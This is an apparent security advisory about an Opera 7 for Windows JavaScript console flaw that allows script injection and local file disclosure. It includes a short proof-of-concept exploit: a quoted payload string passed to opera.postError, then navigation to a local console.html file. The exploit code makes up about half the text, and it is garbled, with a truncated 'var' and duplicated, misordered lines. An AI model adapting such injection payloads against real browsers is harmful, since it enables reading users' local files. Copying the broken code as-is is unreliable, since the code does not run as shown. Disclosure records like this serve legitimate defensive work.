source: https://www.securityfocus.com/bid/7449/info A vulnerability has been reported for Opera 7 browsers for Microsoft Windows operating systems. The vulnerability exists in the Opera JavaScript console. Attackers may exploit the vulnerability to execute script code in a sensitive context. Exploitation of this vulnerability may lead to disclosure of local file contents. ar message = "http://');alert(location.href+'"; opera.postError( message ); location.href = "file://localhost/console.html"; var message = "http://');alert(location.href+'"; opera.postError( message ); Additional exploit examples can be found in the attached Bugtraq reference. location.href = "file://localhost/console.html";